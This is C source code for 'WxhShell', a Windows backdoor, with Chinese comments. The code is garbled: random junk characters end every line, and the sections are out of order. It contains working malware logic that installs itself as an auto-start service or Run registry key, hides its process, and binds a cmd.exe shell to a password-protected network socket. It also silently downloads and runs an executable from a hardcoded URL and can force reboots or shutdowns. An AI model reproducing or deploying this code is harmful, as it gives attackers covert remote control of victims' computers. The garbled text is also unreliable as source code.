    if(Boot(SHUTDOWN)) T@.CwV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u@Lu.t!],  
    else { @hv] [(<  
    closesocket(wsh); - Zh+5;8g  
    ExitThread(0); Qfi5fp=f  
    } *']RYu?X  
    break; @ck2j3J/  
    } 6dp~19T^  
  // 获取shell j!/(9*\  
  case 's': { Qzv_|U  
    CmdShell(wsh); +Oa1FvoEA  
    closesocket(wsh); e2Dj%=`EU  
    ExitThread(0); 2UquN0  
    break; BHYEd}M  
  } 49 D*U5o  
  // 退出 umeb&\:8S-  
  case 'x': { .^,vK7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _{aVm&^kA  
    CloseIt(wsh); M 5h U.3.L  
    break; >v{m^|QqB  
    } /k,p]/e  
  // 离开 t z{]H9  
  case 'q': { ) AIZE?oX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /~Iy1L#  
    closesocket(wsh); V !$m{)Y  
    WSACleanup(); i%iU_`  
    exit(1);  W~4|Z=f  
    break; KpL82  
        } xXtDGP  
  } zob-z=='  
  } w_ m  
(g\'Zw5bk  
  // 提示信息 0IK']C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %lxo?s@GE  
} 01$SvL n:  
  } $H}Q"^rs  
<tNx*ce5  
  return; jZGmTtx  
} `i-&Z`  
]iPdAwc.1  
// shell模块句柄 %rsW:nl  
int CmdShell(SOCKET sock) ]pt @  
{ S@_GjCpn  
STARTUPINFO si; ?@#<>7V  
ZeroMemory(&si,sizeof(si)); nC w1H kW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UcZ3v]$I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'D bHXS7N  
PROCESS_INFORMATION ProcessInfo; V}*b^<2o 5  
char cmdline[]="cmd"; K;K tx>Z/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hd:ZE::Q'#  
  return 0; "6ZatRUd  
} .d2s4q\  
CH2o[&  
// 自身启动模式 Msf yI B  
int StartFromService(void) z y.Ok 49  
{ XjC+kH  
typedef struct $]9d((u4  
{ I'!KWpYJT  
  DWORD ExitStatus; ~_q\?pw<$L  
  DWORD PebBaseAddress; g7F>o76M  
  DWORD AffinityMask; w-1CA{"i7  
  DWORD BasePriority; i^8Zp;O"f  
  ULONG UniqueProcessId; 4-o$OI>  
  ULONG InheritedFromUniqueProcessId; @!-= :<h  
}   PROCESS_BASIC_INFORMATION; k~H-:@  
/{lls2ycW%  
PROCNTQSIP NtQueryInformationProcess; +XQ6KG&  
#f[yp=uI:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  QS!b]a3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6^ ~& sA  
0-@waK  
  HANDLE             hProcess; Z^sO`C  
  PROCESS_BASIC_INFORMATION pbi; 7HzKjR=B  
IL<5Suz:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ve$P=ZuM  
  if(NULL == hInst ) return 0; OS3J,f}<=  
OIN]u{S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (GZm+?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g\ke,r6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #2pgh?  
sbRg=k&Ns  
  if (!NtQueryInformationProcess) return 0; = zsXa=<  
6Cibc .vt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6ik6JL$AI  
  if(!hProcess) return 0; Axr 'zc  
!nu#r$K(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6A%Y/oU+2  
'?QZ7A  
  CloseHandle(hProcess); i'a M#4V  
9J<KR #M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Th-zMQ4  
if(hProcess==NULL) return 0; {MIs%w.G  
N @k:kI  
HMODULE hMod; U-k6ZV3&8  
char procName[255]; o;"!#Z 1SJ  
unsigned long cbNeeded; *d@}'De{8  
<-$4?}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); > vgqf>)kk  
Dgdh3q;  
  CloseHandle(hProcess); "zr%Q'Ky  
R (6Jvub"I  
if(strstr(procName,"services")) return 1; // 以服务启动 /GEqU^ B  
:r|dXW  
  return 0; // 注册表启动 bO-8<IjC_3  
} p{.EFa>H  
?g9CeeH*  
// 主模块 [}FP_Su$6  
int StartWxhshell(LPSTR lpCmdLine) ~!UxmYgO  
{ \A':}<Rj  
  SOCKET wsl; ek.L(n,J|  
BOOL val=TRUE; aFhsRE?YC=  
  int port=0; eM8u ;i  
  struct sockaddr_in door; 5t0$nKah]  
,]o32@   
  if(wscfg.ws_autoins) Install(); D@mDhhK_  
,"DkMK4%  
port=atoi(lpCmdLine); ZV&=B%J bs  
%!WQ;(  
if(port<=0) port=wscfg.ws_port; wLW!_D,/R  
J9{B  
  WSADATA data; p_[k^@ $  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a-hF/~84S:  
ym-212wl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hd4&"oeY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 55hJRm3  
  door.sin_family = AF_INET; <;= X7l+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X\M0Q%8  
  door.sin_port = htons(port); J`\%'pEn  
B~z& "`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eE1w<] Eg  
closesocket(wsl); iHTxD1 D+H  
return 1; eqXW|,zUm  
} a "8/y4Y  
o6'`W2P  
  if(listen(wsl,2) == INVALID_SOCKET) { @UD6qA  
closesocket(wsl); xJ,V !N  
return 1; {<&x9<f9  
} cD7q;|+  
  Wxhshell(wsl); $lUZm\R|k  
  WSACleanup(); lxV> rmD  
qxk1Rzm?x  
return 0; $vicxE~-E  
O(CUwk  
} 1#XMUbFc  
)KkA<O}f  
// 以NT服务方式启动 DLf6D | "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [S'ngQ"f`  
{ }&ZO q'B  
DWORD   status = 0; b5KX`r  
  DWORD   specificError = 0xfffffff; *pj&^W?  
AuSL?kZ4|Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *|MPYxJ<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H!HkXm"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tXwnK[~x  
  serviceStatus.dwWin32ExitCode     = 0; 4_)@Nq  
  serviceStatus.dwServiceSpecificExitCode = 0; v cqL  
  serviceStatus.dwCheckPoint       = 0; Gh|q[s*k  
  serviceStatus.dwWaitHint       = 0; "c=\?   
!i0:1{.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g5_]^[up w  
  if (hServiceStatusHandle==0) return; I9TOBn|6   
?2QssfB  
status = GetLastError(); J/WPffqD  
  if (status!=NO_ERROR) vA"yy"B+ V  
{ dfO84Z} 5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iw<+rh*C  
    serviceStatus.dwCheckPoint       = 0; J$@3,=L6V  
    serviceStatus.dwWaitHint       = 0; -&%#R_RV  
    serviceStatus.dwWin32ExitCode     = status; 3<#4  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y[@$1{YS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HP"5*C5D  
    return; *b~$|H-\  
  } p e |k}{  
rWAJL9M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NkA|T1w7  
  serviceStatus.dwCheckPoint       = 0; n*hHqZl  
  serviceStatus.dwWaitHint       = 0; k oZqoP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dtt[a  
} Qgf\gTF$r+  
K%Jy?7 U  
// 处理NT服务事件,比如:启动、停止 L-",.U*;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D'c, z[  
{ szGp<xv_p  
switch(fdwControl) Tgc)'8A;BN  
{ cT-XF  
case SERVICE_CONTROL_STOP: c2-NXSjsW  
  serviceStatus.dwWin32ExitCode = 0; gVEW*8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gd%KBb  
  serviceStatus.dwCheckPoint   = 0; 9!}&&]Q`  
  serviceStatus.dwWaitHint     = 0; 0Evq</  
  { fMP$o3;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ="JLUq*]s  
  } !*'uPw:l2  
  return; Sc`W'q^X  
case SERVICE_CONTROL_PAUSE: Si.3Je[q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d>VerZZU  
  break; 5W(G~m?jC6  
case SERVICE_CONTROL_CONTINUE: ok  iI:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {?$-p%CF`8  
  break; Vd1.g{yPV  
case SERVICE_CONTROL_INTERROGATE: ?1JS*LQ$  
  break; %\Z{~(&-v  
}; uF/l,[0v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #EgFB}>1  
} wspZ Eu>C;  
i9 8T+{4  
// 标准应用程序主函数 %D:Mt|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YP5V~-O/  
{ .r[kNh@ b%  
8fY1~\G:\  
// 获取操作系统版本 [f!sBJ!  
OsIsNt=GetOsVer(); OjcxD5"v9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^`!5!|  
]*'V#;s  
  // 从命令行安装 YQ:F Bj  
  if(strpbrk(lpCmdLine,"iI")) Install(); t H`!?  
PVC\&YF  
  // 下载执行文件 6av]L YK  
if(wscfg.ws_downexe) { :} i #ODJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n3SCiSr  
  WinExec(wscfg.ws_filenam,SW_HIDE); %ZDo;l+<F6  
} F]:@?}8R  
Ml@,xJ/aia  
if(!OsIsNt) { /4}{SE  
// 如果时win9x,隐藏进程并且设置为注册表启动 07:CcT  
HideProc(); oj/,vO:QT  
StartWxhshell(lpCmdLine); _VFl.U,   
} 0O5(\8jM  
else s G!SSRL@  
  if(StartFromService()) K&0'@#bE\  
  // 以服务方式启动 \#?n'qyj  
  StartServiceCtrlDispatcher(DispatchTable); !yI , ~`Z  
else NifzZEX  
  // 普通方式启动 *G"L]Nq#  
  StartWxhshell(lpCmdLine); +] s"*'V$  
hN=YC\l  
return 0; QVA)&k'T,  
} eo.y,Uh  
38ChS.(  
%9cu(yc*}  
8q58H[/c  
=========================================== Oc8]A=M12  
z%Pbs[*C  
(,z0V+ !  
= Bz yI  
G}<%%U D  
3GqvL_  
" i"V2=jTeBv  
@F%H 1  
#include <stdio.h> X458%)G!(K  
#include <string.h> cOkjeHs 5  
#include <windows.h> %eW[`uyV  
#include <winsock2.h> A2LqBirkl  
#include <winsvc.h> 5v<X-8"  
#include <urlmon.h> +n_`*@SE  
{ULyB$\-  
#pragma comment (lib, "Ws2_32.lib") "^_9t'0  
#pragma comment (lib, "urlmon.lib") |E/U(VS3l~  
mF7T=pl  
#define MAX_USER   100 // 最大客户端连接数 +o^b ,!  
#define BUF_SOCK   200 // sock buffer A2.[P==  
#define KEY_BUFF   255 // 输入 buffer vu-QyPnS|w  
1n|)05p  
#define REBOOT     0   // 重启 l?F-w;wHN  
#define SHUTDOWN   1   // 关机 Ss ;C1:  
cK6M8:KW  
#define DEF_PORT   5000 // 监听端口 ZU\TA|  
O%?noW  
#define REG_LEN     16   // 注册表键长度 %<8@NbF  
#define SVC_LEN     80   // NT服务名长度 sz}YX R=m  
DG1C_hu i  
// 从dll定义API & c a-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HMDQEd;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7v\K,P8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?ra6Lo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YbjeM6#E  
BIyNiol$AJ  
// wxhshell配置信息 s2s}5b3  
struct WSCFG { QhV!%}7  
  int ws_port;         // 监听端口 zfAHE {c  
  char ws_passstr[REG_LEN]; // 口令 =I. b2e 1z  
  int ws_autoins;       // 安装标记, 1=yes 0=no OY$P8y3MY  
  char ws_regname[REG_LEN]; // 注册表键名 ?fF{M%i-%  
  char ws_svcname[REG_LEN]; // 服务名 0tV"X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 doM}vh)6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $$QbcnOf$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2\ 3}y(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (NPDgR/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qC<!!473?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2' fg  
rWk4)+Tk  
}; @w:6m&KL9  
NgH"jg-  
// default Wxhshell configuration *p )1c_  
struct WSCFG wscfg={DEF_PORT, bj)dYj f  
    "xuhuanlingzhe", tS!|#h-J  
    1, RDX".'`(=  
    "Wxhshell",  O+D"7  
    "Wxhshell", PW a!7n#A  
            "WxhShell Service", `72 uf<YQ  
    "Wrsky Windows CmdShell Service", ^3`CP4DT  
    "Please Input Your Password: ", m#y?k1GY  
  1, 7/^`y')  
  "http://www.wrsky.com/wxhshell.exe", 5@_c<   
  "Wxhshell.exe" 5<1,`Bq@  
    }; =+@IpXj  
#IH7WaN  
// 消息定义模块 ;yh}$)^9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PP{2{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~xz3- a/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &Z Ja}5k!r  
char *msg_ws_ext="\n\rExit."; ?Uz7($}  
char *msg_ws_end="\n\rQuit."; 'J*)o<%  
char *msg_ws_boot="\n\rReboot..."; QvB]?D#h  
char *msg_ws_poff="\n\rShutdown..."; %) A-zzj  
char *msg_ws_down="\n\rSave to "; d3 h^L  
i^hgs`hvU  
char *msg_ws_err="\n\rErr!"; eO<:X|9T  
char *msg_ws_ok="\n\rOK!"; Ya$JX(aUe  
K.CwtUt`54  
char ExeFile[MAX_PATH]; #)im9LLC#  
int nUser = 0; 6OeRBD&  
HANDLE handles[MAX_USER]; 6@ `'}  
int OsIsNt; 4.@gV/U(|  
I^'U_"vB  
SERVICE_STATUS       serviceStatus; >we/#C"x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Tv!Pc  
TM sEHd  
// 函数声明 r +X%0@K  
int Install(void); 5tyr$P! N  
int Uninstall(void); :{pJ  
int DownloadFile(char *sURL, SOCKET wsh); []e*Io&[  
int Boot(int flag); \A-w,]9^V  
void HideProc(void); DFvLCGkDk  
int GetOsVer(void); ,XmTKO c  
int Wxhshell(SOCKET wsl); NNUm=g^  
void TalkWithClient(void *cs); G[U'-a}I  
int CmdShell(SOCKET sock); Vj.5b0/(  
int StartFromService(void); y~jKytq^@  
int StartWxhshell(LPSTR lpCmdLine); +f)Nf) \q  
rw*#ta O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;dq AmBG{8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |BysSJ  
=1D* JU  
// 数据结构和表定义 i Rwqt-WZ  
SERVICE_TABLE_ENTRY DispatchTable[] = g2 dvs  
{ 3e)3t`  
{wscfg.ws_svcname, NTServiceMain}, 7.O1 ~-  
{NULL, NULL} qGS]2KY  
}; | ?Js)i  
pq;)l( Hi  
// 自我安装 @C),-TM  
int Install(void) 41swG  
{ 4v#3UG  
  char svExeFile[MAX_PATH]; EFl[u+ 1tx  
  HKEY key; =A,32&;@N  
  strcpy(svExeFile,ExeFile); 1zE_ SNx  
(0%0+vY  
// 如果是win9x系统,修改注册表设为自启动 ?&Y3Fr)%  
if(!OsIsNt) { aOYRenqu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VK9I#   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E|2klA^+*  
  RegCloseKey(key); l\l\T<wa,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *GsrG*OM*D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XK:KWqW  
  RegCloseKey(key); 2fc8w3  
  return 0; wzAp`Zs2Dm  
    } 7S<Z&1(  
  } ?3tR(H<  
} A/NwM1z[o)  
else { !Xt=+aKN  
38P_wf~ \  
// 如果是NT以上系统,安装为系统服务 p-U'5<n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xg#g`m%(M  
if (schSCManager!=0) ~mUP!f  
{ |L{<=NNs:D  
  SC_HANDLE schService = CreateService GXaCH))TO  
  ( htg+V-,  
  schSCManager, LyA=(h6  
  wscfg.ws_svcname, l'N>9~f  
  wscfg.ws_svcdisp, UQz8":#V  
  SERVICE_ALL_ACCESS, wL 5p0Xl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _96hw8  
  SERVICE_AUTO_START, O2{_:B>K[  
  SERVICE_ERROR_NORMAL, ,cm;A'4]  
  svExeFile, DBi3 j  
  NULL, v ~73  
  NULL, 5Am*1S^  
  NULL, h+$1+Es  
  NULL, g5TXs^g  
  NULL RB'12^[  
  ); ;2RCgX!'%  
  if (schService!=0) 1'EMYQ  
  { n?@o:c5,r  
  CloseServiceHandle(schService); Dbr(Wg  
  CloseServiceHandle(schSCManager); st36xS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /IVw}:G  
  strcat(svExeFile,wscfg.ws_svcname); fw^mjD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FK!9to>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NXDV3MH=  
  RegCloseKey(key); %V;k/w~[  
  return 0; &..![,)w^!  
    } z$p +l]  
  } =Fea vyx  
  CloseServiceHandle(schSCManager); nM8aC&Rd\  
} Zl"h-~31  
} Pp N+q:(  
WT(R =bLw  
return 1; ;D]TPBE  
} (JFa  
kYs2AzS{d  
// 自我卸载 uXeBOLC  
int Uninstall(void) j^Zp BNL  
{ Jg k@ti.}Z  
  HKEY key; yB}y'5  
X4i$,$C  
if(!OsIsNt) { N|q:wyS|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vzaxi;S<  
  RegDeleteValue(key,wscfg.ws_regname); fE)+9!  
  RegCloseKey(key); s4SR6hBO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]8YHA}P  
  RegDeleteValue(key,wscfg.ws_regname); #.}Su+XF  
  RegCloseKey(key); l) VMF44  
  return 0; 5n.4>yOY  
  } D]b5*_CT  
} ^f!d8 V  
} cJ:BEe  
else { -<&"geJA  
O\OG~`HBN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )." zBc#  
if (schSCManager!=0) ika{>hbH  
{ CNcH)2Mk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nC`#Hm.V%  
  if (schService!=0) _a*Wk  
  { IG +nrTY0  
  if(DeleteService(schService)!=0) { }Sp MHR`  
  CloseServiceHandle(schService); ?Pmj}f  
  CloseServiceHandle(schSCManager); iCk34C7  
  return 0; biGaP#"0  
  } GLc+`,.  
  CloseServiceHandle(schService); L6$,<}l  
  } 1Sz5&jz  
  CloseServiceHandle(schSCManager); >!? f6 {\|  
} P9`i6H'~  
} ~`tc|Zu  
k1-?2kf"{  
return 1; WF-imI:EK  
} RWTv,pLK  
hPFIf>%}  
// 从指定url下载文件 w/G5I )G  
int DownloadFile(char *sURL, SOCKET wsh) s'\"%~nF<  
{ F$F5N1<  
  HRESULT hr; [Z Ea3/  
char seps[]= "/"; Bb:jy!jq_  
char *token; *N'B(j/  
char *file; ?\\ ]u  
char myURL[MAX_PATH]; h"%6tpV-  
char myFILE[MAX_PATH]; >)N,V;j  
L/nz95  
strcpy(myURL,sURL); ; p\rgam  
  token=strtok(myURL,seps); L1)?5D  
  while(token!=NULL) m}Tu^dy  
  { D>*%zz|  
    file=token; y''?yr  
  token=strtok(NULL,seps); !h9 An  
  } 6xz&Qi7w  
HEe0dqG  
GetCurrentDirectory(MAX_PATH,myFILE); nk-6W4  
strcat(myFILE, "\\"); eMz,DYa/G  
strcat(myFILE, file); MzK&Jh  
  send(wsh,myFILE,strlen(myFILE),0); BzWmV .5  
send(wsh,"...",3,0); 9lTA/-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7Ox vq^[  
  if(hr==S_OK) %t+V8A  
return 0; wV56LW  
else HTx7._b  
return 1; o ]Vx6  
W97Ka}Y  
} nsgNIE{>gO  
Vp5qul%  
// 系统电源模块 I8^z\ef&  
int Boot(int flag) j-{WPJa4\  
{ T/ S-}|fhQ  
  HANDLE hToken; ,u]kZ]  
  TOKEN_PRIVILEGES tkp; J_P2%b=C  
4TR:bQZs  
  if(OsIsNt) { 6dq U4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )sNtw Sl^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3wR5:O$H  
    tkp.PrivilegeCount = 1; (Z`Y   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N;[w`d'#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +}9%Duim  
if(flag==REBOOT) { yxA0#6so  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pm)A*][s  
  return 0; yDd&*;9%Qg  
} Pi*,&D>{7  
else { b:%>T PT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iv;;GW{2  
  return 0; $/wr?  
} `hH1rw@7<  
  } =}c~BHT  
  else { )XO2DY1/&  
if(flag==REBOOT) { P$4?-AZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9@vY(k k  
  return 0; pbm4C0W}  
} j<L!ONvJ1  
else { K{|;'N-1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q_uv.\*z_  
  return 0; o~GhV4vq  
} C!Tl?>Tt  
} RPp_L>&~<  
$k!@e M/R  
return 1; hZzsZQ`  
} .2Rh_ful  
8:M~m]Z+|  
// win9x进程隐藏模块 _bMs~%?~/  
void HideProc(void) 'Y"q=@Ei9  
{ vkR"A\:  
\*_a#4a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t5e(9Yhj  
  if ( hKernel != NULL ) ! B)Em  
  { vB.LbYyF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {h@R\bU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ruE.0VI@  
    FreeLibrary(hKernel); )O7Mfr  
  } y5R6/*;N.  
hUl FP  
return; g" M1HxlV  
} ((?^B  
;wvV hQ  
// 获取操作系统版本 #vS>^OyP  
int GetOsVer(void) 3d,|26I7f  
{ iWtWT1n8n  
  OSVERSIONINFO winfo; E|^a7-}|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9'4cqR  
  GetVersionEx(&winfo); ~sA}.7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R(q fP  
  return 1; 7z+NR&' M$  
  else }Rt<^oya*  
  return 0; ,e,fOL  
} LTa9' q0  
(cCB3n\20  
// 客户端句柄模块 Fir7z nRW  
int Wxhshell(SOCKET wsl) MOOL=Um3  
{ iezz[;t  
  SOCKET wsh; 7qh_URt@  
  struct sockaddr_in client; %l5J  
  DWORD myID; * |,V$  
2oq>tnYyV[  
  while(nUser<MAX_USER) {(aJrSE<z  
{ 8}S|iM  
  int nSize=sizeof(client); x&?35B i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ii,L6c  
  if(wsh==INVALID_SOCKET) return 1; ZsV'-gu  
0c`wJktWK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S*\`LBl"nX  
if(handles[nUser]==0) Z&}94  
  closesocket(wsh); "dkvk7zCP  
else i-/'F  
  nUser++; (sPZ1Fr\o  
  } -EL"Sv?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]*v%(IGK  
pWQ?pTh  
  return 0; q=6M3OnS>  
} ~w!<J-z)  
X#Hs{J~@p  
// 关闭 socket kszYbz"  
void CloseIt(SOCKET wsh) gWJLWL2  
{ ixU1v~T  
closesocket(wsh); -aec1+o  
nUser--; 46$5f?Z  
ExitThread(0); fM8 :Nt$  
} q|Ga   
Pu}2%P)p  
// 客户端请求句柄 6t@3 a?  
void TalkWithClient(void *cs) XfY]qQP  
{ E7 7Au;TL  
G2em>W_n  
  SOCKET wsh=(SOCKET)cs; "\e9Y<  
  char pwd[SVC_LEN]; XLOk+Fn  
  char cmd[KEY_BUFF]; T T29 LC@  
char chr[1]; %3~jg  
int i,j; N b+zP[C  
1s1$J2LX  
  while (nUser < MAX_USER) { /)v X|qtIY  
\bfNki  
if(wscfg.ws_passstr) { XV!P8n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :]?I|.a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Aw >DZ2  
  //ZeroMemory(pwd,KEY_BUFF); 'Z;R!@Dm  
      i=0; '{ C=vW  
  while(i<SVC_LEN) { `qUmOFl  
jagsV'o2  
  // 设置超时 V}Oxz04  
  fd_set FdRead; /J5wwQ (:  
  struct timeval TimeOut; LnM+,cBz  
  FD_ZERO(&FdRead); ,.DU)Wi?}  
  FD_SET(wsh,&FdRead); ]V}";cm;2  
  TimeOut.tv_sec=8; ek3/`]V:  
  TimeOut.tv_usec=0; 'S&5zwrH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6R"& !.ZF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E Xo"F*gW  
\GBv@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G;`+MgJ)  
  pwd=chr[0]; |nv8&L8  
  if(chr[0]==0xd || chr[0]==0xa) { 5J1,Usm  
  pwd=0; tX6n~NJ$  
  break; <sn^>5Ds  
  } ^Z;5e@S  
  i++; X(N!y"z  
    } Pq !\6s@  
ALPZc:  
  // 如果是非法用户,关闭 socket k`xPf\^tf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dy0RZF4_  
} UDGVq S!,E  
7)<&,BWc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NouT~K`'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sh=z  
n{=vP`V_  
while(1) { ~#O nA1)  
+.gZILw  
  ZeroMemory(cmd,KEY_BUFF); !$Nh:(>:  
| [P!9e  
      // 自动支持客户端 telnet标准   C+jlIT+  
  j=0; {ge^&l  
  while(j<KEY_BUFF) { O*T(aM3r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,D;d#fJ  
  cmd[j]=chr[0]; +>Y2luR1  
  if(chr[0]==0xa || chr[0]==0xd) { yP6^& 'I+  
  cmd[j]=0; 7'CdDB6&.  
  break; E%2]c?N5  
  } }-!0d*I  
  j++; -I '#G D>  
    } Jro)  
8FU8E2zo  
  // 下载文件 }cEcoi<v!  
  if(strstr(cmd,"http://")) { 9K~X}]u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PA&Ev0`+  
  if(DownloadFile(cmd,wsh)) 1H{J T op  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf9a<[CcV  
  else G[@RZ~o4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EWrIDZi  
  } -LhO </l  
  else { J<yt/V]  
